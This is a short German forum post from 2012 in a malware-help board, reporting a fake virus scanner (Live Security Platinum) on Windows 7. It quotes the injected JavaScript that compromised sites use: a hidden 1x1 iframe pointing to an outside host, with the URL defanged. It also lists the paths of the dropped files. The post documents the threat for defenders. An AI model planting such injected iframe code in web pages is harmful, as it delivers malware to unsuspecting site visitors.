| |
| |||||||
Plagegeister aller Art und deren Bekämpfung: Fake VirusscannerWindows 7 Wenn Du nicht sicher bist, ob Du dir Malware oder Trojaner eingefangen hast, erstelle hier ein Thema. Ein Experte wird sich mit weiteren Anweisungen melden und Dir helfen die Malware zu entfernen oder Unerwünschte Software zu deinstallieren bzw. zu löschen. Bitte schildere dein Problem so genau wie möglich. Sollte es ein Trojaner oder Viren Problem sein wird ein Experte Dir bei der Beseitigug der Infektion helfen. |
24.06.2012, 16:49
| #1 |
 |  Fake Virusscanner Die Dateien werden von Webseiten heruntergeladen die diesen Code enthalten: < script > var url="hxxp://onmouseup.info/stats.php";if((navigator.userAgent.toLowerCase().indexOf("msie")>=0)||(navigator.userAgent.toLowerCase().indexOf("firefox")>=0)){var f=document.createElement('iframe');f.setAttribute("width","1");f.setAttribute("height","1");f.setAttribute("src",url);f.setAttribute("style","visibili ty: hidden; position: absolute; left: 0pt; top: 0pt;");document.getElementsByTagName("body")[0].appendChild(f)}< / script > Die (WIN 7) schädlichen Dateien befinden sich in: c:\ProgramData\990058...\990058...exe c:\Users\{benutzername}\AppData\Local\Temp\tempfiles.exe Die Seite hxxp://onmouseup.info/stats.php ist eine leere Seite in Frankreich oder mit einer französischen Sprache. Diese Dateien rufen dann wohl den Live Security Platinum auf der dann nach und nach den PC lahm legt. Geändert von cambridge1 (24.06.2012 um 17:04 Uhr) |
| Themen zu Fake Virusscanner |
| befinden, benutzer, benutzername, dateien, enthalten, fake, faker, französischen, javascript, leere, programdata, schädliche, schädlichen, sprache, users, virusscan, virusscanner, webseite, webseiten, win, win 7 |
Baum-Darstellung